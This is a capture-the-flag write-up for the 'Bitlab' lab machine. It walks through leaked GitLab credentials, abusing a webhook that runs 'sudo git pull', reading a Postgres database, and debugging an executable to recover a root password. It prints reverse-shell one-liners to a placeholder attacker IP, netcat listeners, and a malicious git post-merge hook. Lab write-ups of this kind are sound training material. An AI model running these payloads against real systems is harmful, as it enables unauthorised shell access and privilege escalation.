Menu

Bitlab

Develop a hunger to accomplish your dreams!

Bitlab is a medium difficulty machine running Linux. It tests your knowledge in Git, basic privilege escalation or Reverse Engineering/Debugging techniques. This machine can have a relatively steep learning curve if you have no experience in software RE/Debug.

Be sure to checkout the Basic Setup section before you get started.

Enumeration

Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.

Portscan

portscan bitlab.htb Grabbing ports... Ports grabbed! Scanning... Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-19 00:00 PST Nmap scan report for bitlab.htb ( 10.10.10.114 ) Host is up ( 0.22s latency ) . PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 ( Ubuntu Linux ; protocol 2.0 ) | ssh-hostkey: | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 ( RSA ) | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc ( ECDSA ) |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 ( ED25519 ) 80/tcp open http nginx | http-robots.txt: 55 disallowed entries ( 15 shown ) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/ * /edit /users /help |_/s/ /snippets/new /snippets/ * /edit | http-title: Sign in \x C2 \x B7 GitLab |_Requested resource was http://bitlab.htb/users/sign_in |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux ; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address ( 1 host up ) scanned in 14.68 seconds

Domain

Navigating to port 80 by going to http://bitlab.htb we are greeted with a Gitlab login page:

If we click the Explore link at the bottom of the page it brings us to another page that tells us that there are No projects found :

Information Leak

Going through the links at the top menu Groups and Snippets also have nothing to show. However, when we click on the Help link we are presented with a directory that contains a bookmarks.html file. This file is related to exporting bookmarks from browsers so this could potentially show us some juicy data.

Taking a look we find five pages bookmarked and one looks promising called Gitlab Login :

Credentials

Having a look at this link it is javascript . Let’s right-click and select Copy link location to copy the javascript code and then navigate back to the login page at http://bitlab.htb . We will open up our web console and paste the javascript then press enter. This prefills the login details and we can successfully login:

To see what the password is we can simply console.log() the variable like so:

As we can see we uncover the username: clave and password: 11d...81x .

Trying the password with the username clave as well as root via ssh unsurprisingly yields no results.

Logging in to Gitlab we are presented with two projects Profile and Deployer :

Going to the Administrator/Profile project the first thing I notice is TODO: Connect with postgresql which could be useful information later on. There is also a link to a profile box bootstrap snippet which is contained in the index.php file of the project.

Exploitable Script

Taking a look at the Administrator/Deployer project we see a link in README.md to a Gitlab documentation page regarding webhooks and a file called index.php that looks like it is using webhooks to automatically update the local repository using git pull :

<?php $input = file_get_contents ( "php://input" ); $payload = json_decode ( $input ); $repo = $payload -> project -> name ?? '' ; $event = $payload -> event_type ?? '' ; $state = $payload -> object_attributes -> state ?? '' ; $branch = $payload -> object_attributes -> target_branch ?? '' ; if ( $repo == 'Profile' && $branch == 'master' && $event == 'merge_request' && $state == 'merged' ) { echo shell_exec ( 'cd ../profile/; sudo git pull' ), "

" ; } echo "OK

" ;

When an event occurs the index.php file is run which in turn executes the shell_exec() function which is used to execute the operating system commands cd ../profile/; sudo git pull

Taking note of the command traversing to the profile directory we can find this page at: http://bitlab.htb/profile/

Looks like we have found the entry point for our foothold and potentially even a leap straight to root since sudo is being used.

All we need to do is update the Profile repository, commit the changes, submit a merge request and then merge the changes. This should satisfy all conditions of the webhook event that clave has setup and our changes to the repository should be pulled into the profile directory on the system.

To gain a shell we will simply edit index.php in the Profile repository adding the line:

<?php echo exec ( "/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1'" ); ?>

We then go through clicking the buttons Commit changes , Submit merge request and then Merge .

On our attacker machine we setup our listener:

nc -lvp 1234

Once setup we execute the payload by navigating to: http://bitlab.htb/profile/index.php

We should receive a shell via netcat :

Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.10.114. Ncat: Connection from 10.10.10.114:48484. www-data@bitlab:/var/www/html/profile $ id uid = 33 ( www-data ) gid = 33 ( www-data ) groups = 33 ( www-data )

We can upgrade our shell if we wish.

Postgres

First things first we should take a look at this postgres mention we found in the Profile repository readme file. Now we are logged in to GitLab let’s go back through the top links we went through earlier. We can see a bunch of stuff in the Activity section that we have already seen. Moving along we go to the Snippets link and find a submission called Postgresql .

Taking a look we see the code:

<?php $db_connection = pg_connect ( "host=localhost dbname=profiles user=profiles password=p.....s" ); $result = pg_query ( $db_connection , "SELECT * FROM profiles" );

Let’s use this info from our newly obtained shell to grab data from the database using our own PHP script. Hopefully we can find some juicy info.

Here we find that /var/www/html/profile is owned by root so let’s cd /tmp and write our script there:

<?php $db_connection = pg_connect ( "host=localhost dbname=profiles user=profiles password=p.....s" ); $result = pg_query ( $db_connection , "SELECT * FROM profiles" ); $i = 0 ; while ( $row = pg_fetch_row ( $result )) { $count = count ( $row ); $y = 0 ; while ( $y < $count ) { $c_row = current ( $row ); echo ' | ' . $c_row . ' | ' ; next ( $row ); $y = $y + 1 ; } $i = $i + 1 ; } pg_free_result ( $result ); echo " " . PHP_EOL ; ?>

Then we can execute the file and see what we have got:

php db.php | 1 | | clave | | c3NoL...wQHNz == |

Looks like more credentials. At first I thought that the password was base64 encoding as it decodes to the string ssh-str0ng-p@ss . However, the password is just disguised as one potentially for a rabbithole affect. We can simply login with the password as is:

ssh clave@bitlab.htb clave@bitlab.htb password: Last login: Thu Aug 8 14:40:09 2019 clave@bitlab:~ $ cat user.txt 1e3fd81ec3....e3c20b8154

We take yet another user.txt flag! Time for root .

Root

Looking in clave ’s home directory we find a file called RemoteConnection.exe .

Let’s download it:

scp clave@bitlab.htb:/home/clave/RemoteConnection.exe .

And then have a look at it with a debugger .

Debugging

Open up ollydbg and go to File -> Open in the top menu navigating to RemoteConnection.exe and selecting it.

Once loaded, depending on your layout, we should see the following:

If you are missing the Executable modules and References windows you can open them by going to View in the top menu:

Check that the CPU window is on module RemoteCo :

If it isn’t double click RemoteConnection.exe from the Executable modules window.

In the CPU window right click and select Search for -> All referenced text strings from the context menu:

Strings

We should see a list appear in the References window showing a bunch of strings:

Here we can see an ASCII string which looks interesting:

ASCII "XRIBG0UCDh0HJRcIBh8EEk8aBwdQTAIERVIwFEQ4SDghJUsHJTw1TytWFkwPVgQ2RztS"

This looked like it could potentially be a password but on checking this was not the case. Would have been too easy!

At a closer look we see UNICODE "clave" which we know is a username used on the system and then a mention of UNICODE "C:\Program Files\PuTTY\putty.exe" which is an SSH client. Given the name of the file RemoteConnection.exe we can safely assume that this program is meant to connect to bitlab and most likely as root .

We look at the Disassembly section related to UNICODE "clave" and see CMP which stands for compare . We like comparisons as that’s usually where interesting things happen.

Breaking

Let’s set a breakpoint and see whats going on. While the string UNICODE "clave" is selected press F2 . We will see the address 00401640 highlighted in red showing that we have created a breakpoint for that location:

To run the Debug press F9 which brings us to our breakpoint .

Looking under the Registers section we uncover what we are looking for:

We can now log in to root with the password Qf7].........[7d?j&eD4^ :

ssh root@bitlab.htb root@bitlab.htb password: root@bitlab:~# id uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ) root@bitlab:~# cat root.txt 8d4cc13175....cddccd587c

And there we have it… Another box rooted!!

Alternate Root

If you take a look at the beginning of this writeup I stated “tests your knowledge in Git, basic privilege escalation or Reverse Engineering/Debugging techniques”. Maybe you noticed it? Or maybe not!

Remember back when we found the exploitable script that used sudo git pull I also stated “potentially even a leap straight to root“?

I know, I know! I’m sorry! But in my defence I wanted you to go through the Debugging way first.

Rewinding back to when we gained our foothold with the user www-data and we went in to the /tmp to write our PHP script we could of done something a whole lot simpler.

Git Hooks

In researching exploits for git pull I came across this post. I decided that githooks was going to be my attack method.

With further research I found the hook post-merge which is invoked by git-merge which happens when a git pull is done on a local repository. This fits all our criteria.

Now the issue here is that we can’t just add a hook to the .git folder in the repository because:

Gitlab doesn’t allow it. /var/www/html/profile is owned by root .

To combat this we will just recreate the profile repository so we do have ownership.

Being in /tmp we will copy the profile repository to this location and then traverse in to it:

cp -r /var/www/html/profile/ profile && cd profile

We will then create our payload :

echo '#!/bin/sh' > .git/hooks/post-merge && echo 'bash -i >& /dev/tcp/<attacker-ip>/6969 0>&1' >> .git/hooks/post-merge

And make the file executable:

chmod +x .git/hooks/post-merge

Next we get our listener ready on the attacker machine:

nc -lvp 6969

Now all thats left to do is alter a file in the profile repository on Gitlab.

From there we commit the changes , submit a merge request and merge .

Once that is done we can pull in the changes to our own repository:

sudo git pull

We should then receive a connection at our netcat session:

Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 10.10.10.114. Ncat: Connection from 10.10.10.114:50644. root@bitlab:/tmp/profile# id id uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ) root@bitlab:/tmp/profile# cat /root/root.txt cat /root/root.txt 8d4cc13175....cddccd587c

There we have it www-data -> root .

Conclusion